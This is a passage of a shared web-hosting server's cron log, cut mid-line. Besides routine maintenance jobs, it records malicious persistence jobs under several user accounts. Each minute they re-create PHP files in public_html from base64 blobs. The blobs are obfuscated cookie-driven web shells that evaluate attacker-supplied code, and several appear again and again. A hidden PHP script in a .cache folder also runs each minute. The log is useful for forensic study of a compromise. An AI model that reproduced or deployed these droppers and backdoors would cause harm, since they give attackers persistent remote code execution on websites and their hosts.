WR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:04:01 medusa CROND[431]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:04:01 medusa CROND[432]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:04:01 medusa CROND[451]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:04:01 medusa CROND[450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:04:01 medusa CROND[449]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:04:01 medusa CROND[452]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:04:01 medusa CROND[454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:04:01 medusa CROND[455]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:04:01 medusa CROND[459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:05:02 medusa CROND[19475]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:05:02 medusa CROND[19537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:05:02 medusa CROND[19797]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:05:02 medusa CROND[19799]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19798]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19801]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:05:02 medusa CROND[19800]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:05:02 medusa CROND[19804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:05:02 medusa CROND[19807]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:05:02 medusa CROND[19809]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19811]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:05:02 medusa CROND[19802]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:05:02 medusa CROND[19810]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:05:02 medusa CROND[19820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:05:02 medusa CROND[19821]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:05:02 medusa CROND[19824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 04:05:02 medusa CROND[19826]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:05:02 medusa CROND[19805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19835]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19827]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:05:02 medusa CROND[19812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:05:02 medusa CROND[19841]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:05:02 medusa CROND[19840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 04:05:02 medusa CROND[19837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:06:01 medusa CROND[3084]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:06:01 medusa CROND[3344]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:06:01 medusa CROND[3345]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:06:01 medusa CROND[3352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:06:01 medusa CROND[3353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:06:01 medusa CROND[3360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:06:01 medusa CROND[3356]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:06:01 medusa CROND[3363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:06:01 medusa CROND[3359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
